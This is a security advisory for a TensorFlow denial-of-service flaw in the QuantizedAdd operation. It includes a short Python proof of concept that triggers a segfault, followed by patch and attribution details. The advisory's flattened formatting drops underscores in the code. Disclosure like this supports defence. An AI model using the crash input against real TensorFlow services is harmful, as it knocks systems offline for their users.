PT-2026-59859 · Pypi · Tensorflow
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
If
QuantizedAdd is given min input or max input tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.python
import tensorflow as tf
Toutput = tf.qint32
x = tf.constant(140, shape=[1], dtype=tf.quint8)
y = tf.constant(26, shape=[10], dtype=tf.quint8)
min x = tf.constant([], shape=[0], dtype=tf.float32)
max x = tf.constant(0, shape=[], dtype=tf.float32)
min y = tf.constant(0, shape=[], dtype=tf.float32)
max y = tf.constant(0, shape=[], dtype=tf.float32)
tf.raw ops.QuantizedAdd(x=x, y=y, min x=min x, max x=max x, min y=min y, max y=max y, Toutput=Toutput)Patches
We have patched the issue in GitHub commit 49b3824d83af706df0ad07e4e677d88659756d89.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
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Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Fix
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Related Identifiers
Affected Products
Tensorflow